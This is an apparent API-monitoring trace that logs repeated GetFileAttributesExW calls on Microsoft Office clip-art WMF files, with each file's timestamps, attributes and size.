	[0051.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2a58 | out: lpFileInformation=0x124c2a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c)) returned 1
	[0051.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2aa8 | out: lpFileInformation=0x124c2aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e)) returned 1
	[0051.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2af8 | out: lpFileInformation=0x124c2af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2)) returned 1
	[0051.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2b48 | out: lpFileInformation=0x124c2b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a)) returned 1
	[0051.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2b98 | out: lpFileInformation=0x124c2b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4)) returned 1
	[0051.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2be8 | out: lpFileInformation=0x124c2be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6)) returned 1
	[0051.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2c38 | out: lpFileInformation=0x124c2c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a)) returned 1
	[0051.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2c88 | out: lpFileInformation=0x124c2c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8)) returned 1
	[0051.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2cd8 | out: lpFileInformation=0x124c2cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350)) returned 1
	[0051.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2d28 | out: lpFileInformation=0x124c2d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be)) returned 1
	[0051.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2d78 | out: lpFileInformation=0x124c2d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60)) returned 1
	[0051.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2dc8 | out: lpFileInformation=0x124c2dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc)) returned 1
	[0051.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2e18 | out: lpFileInformation=0x124c2e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e)) returned 1
	[0051.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2e68 | out: lpFileInformation=0x124c2e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce)) returned 1
	[0051.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2eb8 | out: lpFileInformation=0x124c2eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2)) returned 1
	[0051.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2f08 | out: lpFileInformation=0x124c2f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586)) returned 1
	[0051.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2f58 | out: lpFileInformation=0x124c2f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00)) returned 1
	[0051.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2fa8 | out: lpFileInformation=0x124c2fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c)) returned 1
	[0051.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c2ff8 | out: lpFileInformation=0x124c2ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26)) returned 1
	[0051.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3048 | out: lpFileInformation=0x124c3048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c)) returned 1
	[0051.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3098 | out: lpFileInformation=0x124c3098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c)) returned 1
	[0051.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c30e8 | out: lpFileInformation=0x124c30e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae)) returned 1
	[0051.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3138 | out: lpFileInformation=0x124c3138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860)) returned 1
	[0051.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3188 | out: lpFileInformation=0x124c3188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624)) returned 1
	[0051.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c31d8 | out: lpFileInformation=0x124c31d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce)) returned 1
	[0051.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3228 | out: lpFileInformation=0x124c3228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4)) returned 1
	[0051.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3278 | out: lpFileInformation=0x124c3278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520)) returned 1
	[0051.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c32c8 | out: lpFileInformation=0x124c32c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2)) returned 1
	[0051.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3318 | out: lpFileInformation=0x124c3318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e)) returned 1
	[0051.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3368 | out: lpFileInformation=0x124c3368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c)) returned 1
	[0051.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c33b8 | out: lpFileInformation=0x124c33b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c)) returned 1
	[0051.502] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3408 | out: lpFileInformation=0x124c3408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c)) returned 1
	[0051.502] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3458 | out: lpFileInformation=0x124c3458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08)) returned 1
	[0051.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c34a8 | out: lpFileInformation=0x124c34a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a)) returned 1
	[0051.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c34f8 | out: lpFileInformation=0x124c34f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e)) returned 1
	[0051.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3548 | out: lpFileInformation=0x124c3548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e)) returned 1
	[0051.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3598 | out: lpFileInformation=0x124c3598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e)) returned 1
	[0051.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c35e8 | out: lpFileInformation=0x124c35e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a)) returned 1
	[0051.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3638 | out: lpFileInformation=0x124c3638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124)) returned 1
	[0051.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3688 | out: lpFileInformation=0x124c3688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4)) returned 1
	[0051.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c36d8 | out: lpFileInformation=0x124c36d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc)) returned 1
